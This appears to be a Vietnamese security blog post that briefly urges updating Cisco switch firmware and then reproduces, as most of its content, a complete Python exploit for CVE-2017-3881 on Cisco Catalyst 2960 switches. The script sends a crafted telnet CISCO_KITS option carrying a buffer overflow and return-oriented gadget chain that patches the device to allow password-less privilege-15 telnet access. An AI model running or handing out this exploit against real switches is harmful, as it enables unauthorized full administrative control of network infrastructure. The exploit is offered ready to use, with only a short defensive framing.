Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution

[DiepNV88]

Mới đây Artem Kondratenko đã đưa ra mã khai thác thiết bị Cisco Catalyst 2960, vấn đề là hầu hết các thiết bị switch, route vẫn mặc định cấu hình qua cổng telnet nên việc update cho OS thiết bị là vô cùng cần thiết.

Để tìm hiểu cách khắc phục an ninh cho các thiết bị switch và route các bạn có thể tham khảo bài viết:
Khắc phục lỗ hổng Zero-Day trên thiết bị mạng Cisco

Mã khai thác theo tiêu đề bài viết:

#!/usr/bin/python
# Exploit Title: Cisco Catalyst 2960 - Buffer Overflow
# Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
# Date: 04.10.2017
# Exploit Author: https://twitter.com/artkond
# Vendor Homepage: https://www.cisco.com/
# Version: IOS version c2960-lanbasek9-mz.122-55.SE11)
# Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11
# CVE : CVE-2017-3881
# Description:
#
# The exploit connects to the Catalyst switch and patches
# it execution flow to allow credless telnet interaction
# with highest privilege level
#
 
 
import socket
import sys
from time import sleep
 
set_credless = True
 
if len(sys.argv) < 3:
    print sys.argv[0] + ' [host] --set/--unset'
    sys.exit()
elif sys.argv[2] == '--unset':
    set_credless = False
elif sys.argv[2] == '--set':
    pass
else:
    print sys.argv[0] + ' [host] --set/--unset'
    sys.exit()
 
 
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))
 
print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
print '[+] Sending cluster option'
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
 
 
 
payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4'       # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x3d\x55\xdc'       # +8  address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
    payload += '\x00\x00\x99\x9c'   # +12 set  address of func that rets 1
else:
    payload +=  '\x00\x04\xeA\xe0'  # unset
payload += 'BBBB'                   # +16(+0) r1 points here at second gadget
payload += '\x00\xe1\xa9\xf4'       # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC'                   # +8
payload += 'DDDD'                   # +12
payload += 'EEEE'                   # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x7b\x5c'       # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x3d\x55\xc8'       # +8  r1+8 = 0x23d55c8
payload += 'FFFF'                   # +12
payload += 'GGGG'                   # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6c\xb3\xa0'       # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
    payload += '\x00\x27\x0b\x94'   # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
else:
    payload += '\x00\x04\xe7\x78'   # unset
payload += 'HHHH'                   # +12
payload += 'IIII'                   # +16(+0) r1 points here at fifth gadget
payload += '\x01\x4a\xcf\x98'       # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ'                   # +8 r1 points here at third gadget
payload += 'KKKK'                   # +12
payload += 'LLLL'                   # +16
payload += '\x01\x14\xe7\xec'       # +20 original execution flow return addr
payload += ':15:' +  '\xff\xf0'
 
s.send(payload)
 
print '[+] All done'
 
s.close()

Via: Artem Kondratenko